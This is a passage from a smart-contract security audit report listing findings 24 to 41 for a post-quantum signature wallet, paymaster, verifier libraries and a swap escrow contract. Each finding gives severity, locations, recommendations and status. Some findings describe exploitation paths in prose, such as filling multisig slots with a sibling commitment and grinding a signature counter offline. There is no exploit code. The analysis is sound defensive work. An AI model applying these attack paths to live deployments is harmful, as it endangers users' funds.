Status: Acknowledged

The client acknowledges the issue stating that the `maxSignatures` field is effectively bounded by the underlying key material, since `SHRINCS.publicKeyCommitment` hashes the full 68-byte stateful public key into a pinned commitment, making any declared budget exceeding the generated tree yield zero valid signatures. The client notes that `hashsignatures` already caps stateful key generation at 4,096, and hardcoding a matching ceiling in the contracts would create a duplicate source of truth that could break deployments if the profile limit changes. For the paymaster, the client considers the exposure operator-borne rather than user-borne, as the lowest unused leaf is always selected and validation gas is paid by the paymaster.

25. The dedicated ERC-1271 key can be installed identical to the main recovery key at every install site

Severity: Minor

- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:329-378](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:381-421](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:608-632](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:1206-1259](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWalletStorage.sol:31-34](#)
- [ethereum-sdk:INVARIANTS.md:398-411](#)

The wallet stores two independent SHRINCS commitments: `shrincsPublicKeyCommitment`, the main key whose stateless half is the break-glass recovery/rotation authority used only in `recoverWallet/transferOwnership`, and `erc1271StatelessCommitment`, described in the storage layout's own comment as "a SEPARATE, dedicated SHRINCS bundle used solely for ERC-1271 contract-signature verification... isolated from the main key so contract-signing never touches the recovery authority", a statement `initialize`'s natspec repeats.

None of the three install sites enforce that isolation. `initialize` and `migrate` each reject only a zero `erc1271Commitment` before writing it alongside whatever main commitment was decoded in the same call; `setErc1271Key` applies the same nonzero-only check when the owner rotates the ERC-1271 key on its own. None of the three ever compares the new `erc1271StatelessCommitment` against `shrincsPublicKeyCommitment`, so a payload or call supplying the same commitment for both roles is accepted without complaint.

`isValidSignature`'s stateless check (`_checkErc1271Signature`) verifies against whatever's stored in `erc1271StatelessCommitment`, with nothing distinguishing "deployed as the dedicated 1271 key" from "happens to be the main key." If the two are equal, only the same private stateless key that backs `recoverWallet/transferOwnership` can produce an accepted signature; the `ACTION_ERC1271` domain tag stops a captured signature being replayed across domains, but not the same key signing fresh under both. That wallet now has one physical key playing two roles: last-resort recovery authority, and routine, potentially high-frequency, contract-signature key.

Invariant 23 states the safety argument this breaks: "Main key: safe by construction. Its stateless half signs only in `recoverWallet / transferOwnership` rotation contexts, and both install a full fresh bundle... so each stateless root ever authorizes at most ONE accepted signature. This property is load-bearing." The same invariant notes the ERC-1271 key's budget is enforced nowhere on-chain, tracked entirely off-chain, and that overrunning a SPHINCS+-C few-time key's budget "degrades... forgery resistance... gradually" with no on-chain symptom. Merging the commitments means every ordinary dApp signature request consumes budget from the key the

recovery invariant assumes is used at most once, invisibly (`isValidSignature` is a view function: nothing reverts, meters, or logs), until an observer of the accumulated signatures has a materially easier path to forging the next one, which for this key means forging `transferOwnership` or `recoverWallet` authorization.

The trigger isn't an outside attacker: it's the deploying integrator supplying equal commitments in `initialize`, or the owner doing the same through `setErc1271Key/migrate`. No unauthorized party can force this state, which makes it self-inflicted misconfiguration rather than third-party takeover: the isolation invariant silently doesn't hold rather than being immediately exploitable, but the merge accumulates continuously with routine usage rather than through a single anomalous action.

Recommendation

We recommend rejecting, in `initialize`, `migrate`, and `setErc1271Key` alike, any attempt to install an ERC-1271 commitment equal to the main `shrincsPublicKeyCommitment` being installed or currently resident in storage, mirroring the nonzero check already present at each site. We recommend mirroring the same equality check client-side in the SDK/signer so a merged configuration is caught before a deploy or rotation transaction is even submitted, consistent with invariant 23's existing requirement that the ERC-1271 key's operational safety be enforced off-chain. We recommend adding a regression test alongside the existing `setErc1271Key` and `initialize` behavior tests that asserts a commitment equal to the main key is rejected at every install site.

Status: Resolved

26. ShrincsPaymaster does not override `renounceOwnership`, allowing the owner to permanently lock stake, deposit, and all administrative control

Severity: Minor

- [ethereum-sdk:contracts/ShrincsPaymaster.sol:52-57](#)
- [ethereum-sdk:contracts/ShrincsPaymaster.sol:204-320](#)
- [ethereum-sdk:contracts/ShrincsPaymaster.sol:109](#)
- [ethereum-sdk:contracts/WalletFactory.sol:194-196](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:786-789](#)
- [ethereum-sdk:INVARIANTS.md:212-220](#)

`ShrincsPaymaster` inherits the standard ownable base but, unlike every other ownable contract in scope, doesn't override `renounceOwnership`. The wallet factory, the wallet, and even the deprecated legacy wallet all override it to unconditionally revert, a consistent codebase convention the paymaster misses; its inherited default stays reachable, so the current owner can zero the owner slot with no timelock and no recovery path.

Every administrative function, key rotation, leaf revocation, `EntryPoint` deposit and stake withdrawal, upgrade authorization, is gated to the owner alone with no alternate access path, and the base contract's two-step handover is itself owner-gated, so it offers no escape either. Once the owner is zeroed, none of those checks can ever be satisfied again. Only deposit and sponsorship validation keep working, since neither is owner-gated: the paymaster keeps sponsoring under whatever key was installed at renunciation, but that key can never be rotated or revoked, and the real ETH held as stake and deposit becomes permanently unwithdrawable.

Recommendation

We recommend adding the identical override already present in the wallet factory and the wallet to `ShrincsPaymaster`, so that calling `renounceOwnership` always reverts, and declaring the corresponding error in the paymaster's interface to match the convention used by the other two contracts.

Status: Resolved

27. One signature verifies at both 128-bit deployments

Severity: Informational

- [hashsig-solidity:contracts/SHRINCS.sol:650-656](#)
- [hashsig-solidity:contracts/SPHINCSPPlusCVerifier.sol:95-111](#)

SHRINCS.encodeStatelessKey in contracts/SHRINCS.sol:650-656 returns abi.encode(pkSeed, hypertreeRoot), a 64-byte key carrying no profile field, and SPHINCSPPlusCVerifier.verify in contracts/SPHINCSPPlusCVerifier.sol:95-111 never reads PROFILE_TAG. The parameter libraries in contracts/profiles/128s-q18/SHRINCSPParams.sol and contracts/profiles/128s-q20/SHRINCSPParams.sol differ only in PROFILE_NAME, PROFILE_ID and STATELESS_SIGNATURE_LIMIT, none of which the verify path reads. One key and signature therefore verify at both deployments.

Every shipped path binds the profile elsewhere, through the commitment built in contracts/SHRINCS.sol:872-886 and through the caller's signed digest, and no consumer outside the test suite constructs the raw 64-byte key.

Recommendation

We recommend binding SHRINCSPParams.PROFILE_ID into the digest preimage built by forsDigestBytes in contracts/FORSMinusC.sol:376, separating the profiles without widening the published 64-byte key format.

Status: Resolved

28. The raw ERC-7913 `verify` and `verifyStateless` entrypoints accept a signature under any commitment sharing the half of the bundle that path verifies

Severity: Informational

- [hashsig-solidity:contracts/SHRINCS.sol:872-910](#)
- [hashsig-solidity:contracts/SHRINCS.sol:924-942](#)
- [hashsig-solidity:contracts/SHRINCS.sol:1159-1179](#)
- [hashsig-solidity:contracts/SHRINCS.sol:503-532](#)
- [hashsig-solidity:contracts/SHRINCS.sol:341-346](#)
- [hashsig-solidity:contracts/SHRINCS.sol:446-451](#)
- [hashsig-solidity:contracts/SHRINCSVerifier.sol:191-211](#)
- [hashsig-solidity:contracts/SHRINCSVerifier.sol:253-273](#)

The SHRINCS bundle commitment (`SHRINCS.PublicKey.publicKeyCommitment`) binds three components: the encoded `statefulPublicKey`, the stateless `pkSeed`, and the stateless `hypertreeRoot`, all under a profile-qualified tag. Neither verification path consumes the whole bundle: the stateless path takes only `pkSeed/hypertreeRoot`, and the stateful path takes only the stateful key's seed, root and maximum signature count. On the raw ERC-7913 adapters (`SHRINCSVerifier.verify` / `SHRINCSVerifier.verifyStateless`), key is therefore not a cryptographic input at all: `matchesExpectedPublicKeyCommitment` only checks that the attacker-chosen bundle inside the signature envelope hashes to the supplied commitment, so the accept decision on `verifyStateless` is a function of (`pkSeed`, `hypertreeRoot`, `hash`, `signature`) only, and on `verify` a function of (`statefulPublicKey`, `hash`, `signature`) only.

Any two distinct commitments that agree on the half a given path verifies accept exactly the same signatures over the same hash, and since the commitment is an opaque thirty-two byte value, no consumer can tell two registered keys apart from the key bytes alone. Such sibling commitments are not hypothetical: `SHRINCS.rotateStatefulViaStateless` recomputes the next commitment from a new `statefulPublicKey` combined with the unchanged `pkSeed/hypertreeRoot`, exactly the stateless replay pair, and `SHRINCS.statelessRotate` imposes no requirement that the next `statefulPublicKey` differ from the current one, producing the mirror pair. A third party can also construct one unilaterally, since `statefulPublicKey`, `pkSeed` and `hypertreeRoot` are all published in every signature envelope.

The canonical typed path is immune: `SHRINCS.statefulActionMessageHash` and `SHRINCS.statelessActionMessageHash` bind `expectedPublicKeyCommitment` directly into the signed preimage, and the rotation authorization hashes bind both bundle commitments plus an operation tag and the hash-suite identifier, so a signature for one commitment signs different bytes than the same context under another. The asymmetry lies entirely between that canonical

path and the two raw ERC-7913 entrypoints. The contract documentation's stated division of responsibility, adapters check signature validity while nonce/keyVersion replay scoping belongs to the wrapper, covers temporal replay but not this property: `IERC7913SignatureVerifier.verify` states it checks whether a signature is valid over a hash for the given key material, yet the accepted set here is strictly larger than the signatures actually produced under that key, and a consumer can neither detect the overlap from an opaque commitment nor inspect a bundle it never receives.

Both shipped consumer examples (`SHRINCSERC7913ConsumerExample`, `SHRINCStatelessConsumerExample`) store an opaque `trustedKey` and forward a caller-supplied hash, the advertised integration shape, though neither rotates its key so neither is itself exploitable. Sequentially, a consumer that re-pins from a pre-rotation commitment to a post-rotation one still accepts a stateless signature captured under the old one, undercutting the expectation that installing a rotated key closes the previous authorization epoch; the damage is bounded since the stateless key itself is unchanged by design across a stateful-only rotation. Concurrently, a multi-signer ERC-7913 consumer that identifies signers by (`verifier`, `key`) and verifies each against the same hash is the escalation path: a participant registering a commitment that combines their own `statefulPublicKey` with a victim's `pkSeed/hypertreeRoot` holds a slot they can prove control of, while every stateless signature the victim produces over the shared hash simultaneously satisfies that slot, one honest signature filling two threshold slots. This needs a consumer of that shape, none of which ships here, and the ability to register a chosen key; it is also constrained to the standard `verify` entrypoint, since `verifyStateless` is not part of `IERC7913SignatureVerifier`.

Recommendation

We recommend binding the commitment into the message that the raw adapters verify, so that key determines the accepted signature set. Concretely, have `SHRINCVerifier.verify` and `SHRINCVerifier.verifyStateless` verify over a hash that packs the operation tag, the hash-suite identifier, `publicKeyCommitment` and the caller-supplied hash, matching the construction that `statefulActionMessageHash` and `statelessActionMessageHash` already use. This is a breaking envelope change and requires a `VERSION_TAG` bump and corresponding signer support.

Status: Resolved

29. Three failure flags are hardcoded to success, so the branches that check them can never run

Severity: Informational

- [hashsig-solidity:Hypertree.sol:395](#)
- [hashsig-solidity:SHRINCS.sol:1020](#)
- [hashsig-solidity:UXMSS.sol:239](#)

`hypertreeRootFromPath32` (`Hypertree.sol:395`), `rootFromUnbalancedPath` (`UXMSS.sol:239`) and `decodeStatefulPublicKey` (`SHRINCS.sol:1020`) all end with `ok = true`. Five places check that value and reject when it is false, but since it is always true, those guards can never fire. One is on the main verify path (`SHRINCS.sol:520`).

All three are internal functions in a published library, and the SDK wallet and paymaster already call `decodeStatefulPublicKey` directly. `rootFromUnbalancedPath` documents no precondition.

`decodeStatefulPublicKey` also never checks `encoded.length` before reading three fixed offsets in `SHRINCS.sol:1006-1016`, and `calldataLoad` returns zeros past the end of `calldata`, so a short input decodes and reports success. Every in-scope caller checks the length first.

No malformed input is accepted: it is either rejected upstream or Panics inside the helper; the guards are defense in depth.

Recommendation

We recommend having each helper perform the check its flag implies and return false: `encoded.length != SHRINCSParams.STATEFUL_PUBLIC_KEY_BYTES` in `decodeStatefulPublicKey` (`SHRINCS.sol:985-1021`), `authPath.length != height` in `hypertreeRootFromPath32` (`Hypertree.sol:331-396`), and an empty `authPath` in `rootFromUnbalancedPath` (`UXMSS.sol:212-240`).

Status: Resolved

30. The SHRINCS and SPHINCSPPlusC libraries are documented as pure but are declared view, because the shared source also compiles under the SHA-256 suite

Severity: Informational

- [hashsig-solidity:contracts/SHRINCSVerifier.sol:63-65](#)
- [hashsig-solidity:contracts/SPHINCSPPlusCVerifier.sol:53-55](#)
- [hashsig-solidity:contracts/SPHINCSPPlusCVerifier.sol:95-99](#)
- [hashsig-solidity:contracts/SHRINCS.sol:171-176](#)
- [hashsig-solidity:contracts/SPHINCSPPlusC.sol:76-98](#)
- [hashsig-solidity:contracts/hash/sha2/HashSuite.sol:29-31](#)

Two adapter contracts document a state-mutability guarantee that their compiled functions do not carry. The caller-obligations comment in `contracts/SHRINCSVerifier.sol` states that "every SHRINCS library is pure" and that both adapters are storage-free. The corresponding comment in `contracts/SPHINCSPPlusCVerifier.sol` states that "every SPHINCSPPlusC library is pure" and that this adapter's verify function is "likewise storage-free and pure", and it sits directly above that function, which is declared `external view`.

In fact every top-level verify function in both facade libraries is declared `internal view` rather than `pure`. This includes `verify`, `verifyStateful`, `verifyStateless`, `rotateStatefulViaStateless`, `statelessRotate` and the two unchecked-message variants in `contracts/SHRINCS.sol`, together with both overloads of `verify` in `contracts/SPHINCSPPlusC.sol`.

The mutability is forced transitively. The SHA-256 hash suite (`contracts/hash/sha2/HashSuite.sol`) executes its hashing through a raw `staticcall` to the identity-two precompile, which the compiler treats as requiring at least `view`. Because `contracts/SHRINCS.sol` and `contracts/SPHINCSPPlusC.sol` are the same source files compiled under either the keccak or the sha2 shrincs-hash/ remapping, their mutability annotations are fixed in source and shared across both profiles, so the `view` annotation carries over even to a keccak build where no precompile call actually occurs at those sites. `contracts/hash/sha2/HashSuite.sol` already documents this correctly, noting that "the shared verifier stack is `view` for the same reason", which makes the two adapter comments internally inconsistent with the rest of the codebase. A caller or tool that trusts the `pure` claim treats these functions as free of any external interaction, when in fact the SHA-256 profile's compiled `view` functions issue a `staticcall` to the identity-two precompile on every hash call.

Recommendation

We recommend correcting both comments to match the intentional design, stating that every SHRINCS and SPHINCSPlusC library function is `internal view` rather than `pure`, because the shared source also compiles under the SHA-256 hash suite whose helpers issue a `staticcall` to the identity-two precompile, and that no function touches persistent storage.

Status: Resolved

31. The FORS-C verification routine documents a signature-shape and randomizer-length check that does not exist in its body

Severity: Informational

- [hashsig-solidity:contracts/FORSMinusC.sol:58](#)
- [hashsig-solidity:contracts/FORSMinusC.sol:75-153](#)
- [hashsig-solidity:contracts/FORSMinusC.sol:428](#)
- [hashsig-solidity:contracts/Hypertree.sol:59](#)

The header comment on `FORSMinusC.verifyForsCAndReturnRoot` enumerates the routine's verification steps, and its first step states that it "checks the compact FORS-C signature shape and the randomizer length."

No such check exists in the function body. The entry reconstruction loop reads each `signature.entries[tree]` for `tree` indices up to the fixed constant `NUM_FORS_TREES - 1`, without ever testing `entries.length`, and `forsDigestBytes` copies a fixed thirty-two bytes from `signature.randomizer` regardless of that field's declared length.

The practical consequence is a mismatch between two failure classes that this codebase otherwise documents carefully. An `entries` array shorter than the expected count fails through a Solidity out-of-bounds array index panic rather than through the documented `false` return value. An `entries` array longer than the expected count verifies successfully with its trailing elements silently ignored, since they never enter any hash preimage; the result is not an incorrect acceptance, but the accepted envelope is byte-distinct from the canonical one. Neither outcome is a soundness defect, and both remain within the project's documented `{revert, false}` model. The issue is that the documentation asserts a guard that is not present, which can mislead a maintainer or reviewer into believing that malformed-shape rejection happens earlier and more explicitly than it actually does.

The inconsistency is made sharper by contrast with the sibling routine. `Hypertree.verifyHypertree` does pin its own top-level array length, returning `false` when `layers.length != NUM_HYPERTREE_LAYERS`, so shape-guard coverage differs between sibling signature-array fields in the same verification pipeline without any comment explaining why one is pinned and the other is not.

→ [Proof of Concept: P.7](#)

Recommendation

We recommend either adding an explicit check in `verifyForsCAndReturnRoot` that `entries.length` equals the signed tree count and returning `false` when it does not, matching the pattern already used for the layer count in `verifyHypertree`, or correcting the step-one comment on line 58 to state that shape rejection relies on the Solidity array-bounds panic as the rejection channel and that an `entries` array longer than expected is accepted by design.

Status: Resolved

32. A 128s key bundle with a dirty stateful root installs but can never verify

Severity: Informational

- [hashsig-solidity:contracts/SHRINCS.sol:951](#)
- [hashsig-solidity:contracts/SHRINCS128sQ18Keccak.sol](#)
- [hashsig-solidity:contracts/SHRINCS128sQ20Keccak.sol](#)

Under the 128s profiles the hash suites mask produced values, so every recomputed stateful root has fixed low bytes. `validPublicKey` does not check those bytes on the bundle's declared stateful root. A bundle whose root carries non-zero low bytes passes the shape check and installs, but no signature under it can ever verify, because every value the verifier recomputes is masked.

The finding is latent today. Under 256s profile the masking is a no-op, so the dirty bytes survive intact on both sides and verification works. It becomes live the moment a 128s profile ships, when an integrator could install a key that strands itself, permanently unverifiable.

Recommendation

We recommend extending `validPublicKey` (or install-time bundle validation in the wrapper) to reject a stateful root whose masked bytes are non-zero.

Status: Resolved

33. `sliceStatelessSignatureEnvelope` leaves the free-memory pointer non-word-aligned for accepted non-canonical calldata framings, violating its memory-safe annotation

Severity: Informational

- [hashsigns-solidity:contracts/SHRINCS.sol:681-710](#)
- [hashsigns-solidity:contracts/SHRINCS.sol:193-234](#)
- [hashsigns-solidity:contracts/SHRINCSVerifier.sol:191-211](#)

`SHRINCS.sliceStatelessSignatureEnvelope` builds a bytes value in memory directly at the free-memory pointer (`0x40`) inside an assembly block annotated `memory-safe`. Its final store advances the free-memory pointer to the raw, unrounded end of the copied content instead of rounding that length up to the next thirty-two byte boundary, unlike every other memory-allocating assembly block in this codebase, including the FORS public-key input buffer in `contracts/FORSMinusC.sol`, the WOTS public-key input buffer in `contracts/Hypertree.sol`, and the FORS digest buffer.

The rounding matters because Solidity's allocator always rounds a dynamic byte array's physical allocation up to a whole word, guaranteeing the padding between its logical length and the next word boundary is reserved and zero. Compiler-generated code relies on this: the routine that copies a byte array into an ABI-encoded buffer for a high-level external call copies in whole words, including a final word that intentionally reads up to thirty-one bytes past the logical length, trusting those bytes to be zero-filled reserved padding.

The copied length is only guaranteed to be a multiple of thirty-two under canonical calldata framing, which the function's own comment acknowledges, but this codebase explicitly documents and tests that non-canonical framings are accepted: `docs/guard-applicability-review.md` records that aliased and non-minimal in-bounds offsets read normally without objection. The signature pointer comes from an unvalidated offset addition, and every nested dynamic-array offset inside it resolves through the compiler's standard calldata-tail decoding, which tolerates arbitrary in-bounds, non-word-aligned offsets without reverting. A caller supplying such a framing makes the copied length non-multiple-of-thirty-two, advancing the

free-memory pointer to a misaligned address without reverting, and reaching this requires only a target's public installed key, since the routine runs unconditionally on every `verifyStateless` call before any cryptographic check.

`SHRINCSTVerifier.verifyStateless` calls `SHRINCST.prepareStatelessDelegation`, which calls this routine, then performs a high-level external call to the pinned sibling verifier; the compiler builds that call's ABI-encoded calldata starting exactly where the misaligned pointer left off, before the reserved but missing padding word. The encoder writes the call's own head words into what should have been the envelope's padding region, and later reads those just-written non-zero bytes back as padding when it copies the envelope's tail using the read-full-words pattern. The corrupted bytes land strictly beyond the envelope's logical length in the outgoing calldata, so a standards-conforming decode on the receiving side does not observe them through ordinary decoding; the demonstrated impact is a genuine violation of the memory-safe contract: an attacker-reachable non-word-aligned free-memory pointer and a subsequent allocation silently overlapping what should have been reserved zeroed padding.

Recommendation

We recommend rounding the free-memory-pointer advance in `sliceStatelessSignatureEnvelope` up to the next thirty-two byte boundary, reserving the rounded length of the header word plus the copied body rather than the raw sum, matching the rounding that the allocating assembly blocks in `contracts/FORSMinusC.sol` and `contracts/Hypertree.sol` already perform. This restores the invariant that the envelope's trailing padding is reserved and zero, which is what the compiler's own encoder assumes and what the function's comment already presumes.

We further recommend extending the differential fuzz test in `test/SHRINCSTStatelessSliceCopy.t.sol`, which currently exercises only canonically encoded envelopes plus one outer truncation case, to include non-canonical and non-word-aligned nested authentication-path framings, which would have caught this directly.

Status: Resolved

34. The 128s-q18/128s-q20 stateless signature budgets oversubscribe the hypertree one-time-key coordinate space

Severity: Informational

- [hashsig-solidity:contracts/profiles/128s-q20/SHRINCSParams.sol:57-65](#)
- [hashsig-solidity:contracts/profiles/128s-q18/SHRINCSParams.sol:58-62](#)
- [hashsig-solidity:contracts/Hypertree.sol:50-61](#)

Hypertree.verifyHypertree authenticates a stateless WOTS-C key at a digest-derived tree and leaf coordinate within a space whose size is $2^{\text{HYPERTREE_HEIGHT}}$. WOTS-C is a one-time signature construction, so reusing a coordinate for two different messages leaks enough chain material to forge further signatures under that coordinate. Both `contracts/Hypertree.sol` and `contracts/FORSMinusC.sol` are pure libraries with no persistent state, so they cannot track or prevent coordinate reuse; that responsibility falls entirely on the operational cap `STATELESS_SIGNATURE_LIMIT`.

For the 128s-q20 profile `HYPERTREE_HEIGHT = 18` with `NUM_HYPERTREE_LAYERS = 1`, giving a coordinate space of $2^{18} = 262,144$, while `STATELESS_SIGNATURE_LIMIT = 1,048,576`, four times that space. The profile's own comment already discloses the arithmetic, describing roughly four FORS reuses per hypertree leaf on average, and flags the budget as unresolved, noting that it wants profile security-analysis backing before production use under a dated maintainer decision.

The sibling 128s-q18 profile sets `STATELESS_SIGNATURE_LIMIT` exactly equal to the coordinate space and is framed in-repo as the conservative choice. That framing understates the risk. Setting a budget equal to the coordinate size does not prevent collisions before the budget is exhausted: by the birthday bound, the first coordinate collision across independently chosen digest-derived coordinates is expected after roughly $\sqrt{2^{18}} \sim 512$ stateless signatures, a small fraction of either profile's budget rather than a value near its upper edge.

This is not a defect in the audited verification libraries. Every in-scope verify path is sound per signature regardless of this parameter choice, and `STATELESS_SIGNATURE_LIMIT` is correctly enforced only by the calling wrapper (`contracts/examples/SHRINCSCAccountVerifierExample.sol`, out of audited scope), never by the pure library. The risk is a parameter-selection question for the two 128s profiles. It is already disclosed in three places in the repository: the 128s-q20 `SHRINCSParams.sol` comment, `README.md`'s profiles section marking both 128s profiles as testnet-only, and `docs/parameterization-design.md`'s maintainer decision.

Recommendation

We recommend reconsidering `STATELESS_SIGNATURE_LIMIT` in `contracts/profiles/128s-q18/SHRINCSPParams.sol` and `contracts/profiles/128s-q20/SHRINCSPParams.sol` before either 128s profile is used beyond testnet, sizing the budget against the birthday bound rather than the raw coordinate count.

Status: Resolved

35. Legacy WOTSPPlus on-chain sign and generateKeyPair helpers are still deployed by script

Severity: Informational

- [hashsig-solidity:contracts/WOTSPPlus.sol:251](#)
- [hashsig-solidity:contracts/WOTSPPlus.sol:292](#)
- [hashsig-solidity:script/DeployWOTSPPlus.s.sol:32](#)

The legacy WOTSPPlus library carries on-chain sign and generateKeyPair helpers. Both take secret key material as calldata, which means the private key rides in plaintext through the mempool and into chain history whenever they are used. The code comments already mark them do-not-use.

The problem is the deploy side. `script/DeployWOTSPPlus.s.sol` still deploys this library through `CREATE3` under the salt `QUIP:WOTSPPlus:V1.0`, so running the standard deploy scripts puts these helpers on-chain at a predictable address, one call away from anyone who finds them: anyone who calls the deployed helpers hands their private key to the world. The marking keeps honest developers away, but the deployment makes the trap real.

Recommendation

We recommend removing the deploy script (and ideally the two helper functions) so the helpers never ship. If the library must stay deployed for legacy reasons, document the do-not-use marking in the deployment docs as well.

Status: Resolved

36. The guard applicability review records two contradictory verdicts for the leaf-zero guard, and a ground leaf-zero envelope panics through the public verify entrypoint instead of returning the failure value

Severity: Informational

- [hashsig-solidity:docs/guard-applicability-review.md:185](#)
- [hashsig-solidity:docs/guard-applicability-review.md:189](#)
- [hashsig-solidity:docs/guard-applicability-review.md:431-440](#)
- [hashsig-solidity:docs/guard-applicability-review.md:522](#)
- [hashsig-solidity:contracts/UXMSS.sol:88-91](#)
- [hashsig-solidity:contracts/UXMSS.sol:221](#)
- [hashsig-solidity:contracts/SHRINCSVerifier.sol:27-61](#)
- [hashsig-solidity:contracts/SHRINCSVerifier.sol:160-166](#)
- [hashsig-solidity:test/SHRINCSGuardPinning.t.sol:256-272](#)

docs/guard-applicability-review.md is the project's ratified, citable decision record for every retained or dropped input guard on the SHRINCS verify paths, and other design documents and code comments rely on its verdicts as settled. Row eighteen of that document, covering the guard that rejects a stateful leaf index of zero, carries two different verdicts in two different sections of the same document, and neither of them matches what the current code does.

The summary table records row eighteen as KEEP, reasoning that `rootFromUnbalancedPath` rejects the same input after roughly sixty-four chain walks of wasted work. That is, the table's justification for keeping row eighteen is that a second guard at a different location (row twenty-two) already backstops it. Row twenty-two is recorded as DROP with the rationale that it duplicates row eighteen, which is kept. Each row's verdict therefore depends on the other row supplying the actual enforcement, and neither row is independently self-sufficient. The document's own later sections do not resolve this. The deep-dive section re-analyses row eighteen and downgrades its verdict to MAINTAINER-CHOICE on fail-fast grounds rather than KEEP, and the final recommendation matrix repeats that MAINTAINER-CHOICE verdict, silently superseding the summary table without amending it.

Checked against the current code, neither guard exists. `UXMSS.verify` derives `leafIndex` from `authPath.length` and rejects only `leafIndex > maxSignatures`, with no check that `leafIndex` is non-zero. `rootFromUnbalancedPath` reads `authPath[0]` unconditionally, before any length check.

Since the digest that gates acceptance depends only on the public key seed, `leafIndex`, and a `randomizer/counter` that are entirely within the signer's or attacker's control, an adversary can grind `counter` offline, independent of any private key, until the digest's digit sum equals the fixed target.

→ [Proof of Concept: P.8](#)

Recommendation

We recommend updating the summary table entry for row eighteen in `docs/guard-applicability-review.md` so that its verdict matches the deep-dive and recommendation-matrix sections, and adding a note that row twenty-two's drop no longer has a kept row eighteen to depend upon, so that the joint state of rows eighteen and twenty-two is reviewed together rather than each row citing the other as its justification.

We further recommend adding an explicit check in `UXMSS.verify` that returns false when `leafIndex == 0`, placed next to the existing bound against `maxSignatures`, so that the rejection is an intentional, typed outcome rather than an incidental array-index panic, consistent with how `contracts/Hypertree.sol` already pins its own layer count before any array access. We recommend extending `test/SHRINCSGuardPinning.t.sol` with a variant of `testStatefulLeafZeroEmptyAuthPathRejected` that regrinds `randomizer/counter` so the digit sum hits the fixed target at `leafIndex == 0`, so the regression suite actually exercises the panic path rather than only accepting it as one of two possible outcomes without ever reaching it.

Status: Resolved

37. Unused functions and an unread constant

Severity: Informational

- [hashsigns-solidity:contracts/Hash.sol:37](#)
- [hashsigns-solidity:contracts/SHRINCS.sol:625](#)
- [hashsigns-solidity:contracts/SHRINCS.sol:638](#)
- [hashsigns-solidity:contracts/SHRINCS.sol:650](#)

The codebase contains several pieces of unused code, which decreases readability and maintainability. It is all internal library code, so removing it does not reduce contract size. The instances are listed below:

- The `addressWord32` function in `contracts/Hash.sol:37` is called only by tests. A comment in `contracts/UXMSS.sol:151` records that a production path once used it.
- The `encodeStatefulEnvelope` and `encodeStatelessEnvelope` functions in `contracts/SHRINCS.sol:625` and `contracts/SHRINCS.sol:638` are called only by tests, while `encodeStatelessKey` in `contracts/SHRINCS.sol:650` is used in `contracts/SHRINCS.sol:231`.
- The `HASH_SUITE_UNSUPPORTED` constant in `contracts/SHRINCS.sol:60` is never read anywhere in the repository.

Recommendation

We recommend moving `addressWord32`, `encodeStatefulEnvelope`, and `encodeStatelessEnvelope` into a test-only helper library that cross-references `statelessEnvelope` in `contracts/SHRINCS.sol:770`, whose assembly depends on the encoders' layout.

Status: Resolved

38. Incorrect documentation in the `claim` interface

Severity: Informational

- [quip-swap-solidity:src/interfaces/IOmnibus.sol:196-197](#)

In `src/interfaces/IOmnibus.sol:196`, the `dev` block on `claim` states that "a cross-chain claim is gated only on the local (party) leg's deadline", and in lines 199-201 it tells the integrator to "set the secret holder's own deposit with the later deadline and the counterparty's deposit ... with the earlier deadline".

Both statements invert the code. The comment calls the party leg the local one, while `src/Omnibus.sol:163` requires the counterparty leg to be the leg on this chain, and line 199 treats the party leg as the one that may be remote. The window is not gated on a party deadline alone either, because line 171 opens it at `counterparty.commitmentDeadline`. `validateTermPairing` in `src/TermsLib.sol:319-329` orders the proposer earlier at all three stages, so giving the secret holder's own leg the later deadline makes the secret holder the taker.

A secret-holding taker claims the counterparty leg and lets its own leg expire, which is why `sdk/src/workflows/crossChain.ts:137-146` rejects the assignment as `SECRET HOLDER NOT PROPOSER` and `sdk/USAGE.md:376` calls it the cross-chain free option.

Recommendation

We recommend rewriting the `dev` block on `claim` to state that the counterparty leg must be local, that both branches are bounded by counterparty deadlines, and that the secret holder must be the side with the earlier `commitmentDeadline`.

Status: Resolved

39. `renounceOwnership` is enabled on Omnibus and strands accrued fees if called

Severity: Informational

- [quip-swap-solidity:src/Omnibus.sol:19](#)

Omnibus inherits `Ownable2Step` and does not override `renounceOwnership`, so the function inherited directly from OpenZeppelin's `Ownable` remains callable by the current owner and sets `owner()` to `address(0)` in a single call, without the two-step confirmation that `Ownable2Step` otherwise applies to ordinary ownership transfers.

Once called, every owner-only function becomes permanently unreachable: `setCommitmentFee`, `setVerifierActivity`, and `withdrawFees` can no longer be called by anyone. Any commitment fees already accrued at that point remain in the contract with no function left able to move them out, since `withdrawFees` is itself owner-gated.

Swap functionality is unaffected: `commit`, `claim`, and `reclaim` do not depend on the owner, so escrow already in flight settles normally after a renounce. The impact is limited to the admin surface becoming permanently dead.

Recommendation

We recommend overriding `renounceOwnership` to revert, since Omnibus has no legitimate use case for an ownerless state, or, if an ownerless state is intentional for some deployments, documenting explicitly that renouncing strands any fees accrued up to that point.

Status: Resolved

40. Deactivating a verifier mid-swap blocks the pending leg until its own `reclaimRelease`

Severity: Informational

- [quip-swap-solidity:src/Omnibus.sol:288-292](#)
- [quip-swap-solidity:src/Omnibus.sol:352-368](#)

The `setVerifierActivity` function takes effect immediately, it writes `verifierActive[verifier]` in the same transaction with no delay or grace window, and `_enforceCommitAuthorized`'s keyed route reads that mapping on every call, reverting `VerifierNotActive` the instant it is false.

A same-chain swap requires two separate `commit` calls, and nothing binds the second commit to the verifier state that admitted the first, if the owner deactivates the verifier a party used for their first commit before the counterparty's commit lands, the counterparty can no longer complete the keyed route with that verifier. The first party's assets then sit escrowed, unable to reach the Committed state, until that party's own `reclaimRelease` passes and they recover their leg; the `commitmentFee` already paid on the first commit is forfeited either way.

The wallet route is unaffected, since it never reads `verifierActive`, so a counterparty holding a factory-deployed wallet can still complete the swap through that path regardless of verifier deactivation.

Recommendation

We recommend documenting explicitly that deactivating a verifier mid-swap leaves any leg already escrowed under it in place until that party's own `reclaimRelease`, so integrators and off-chain clients can warn users or avoid deactivating verifiers with swaps in flight.

Status: Resolved

41. ARCHITECTURE.md and QUIP_LIFECYCLE.md describe a previous design

Severity: Informational

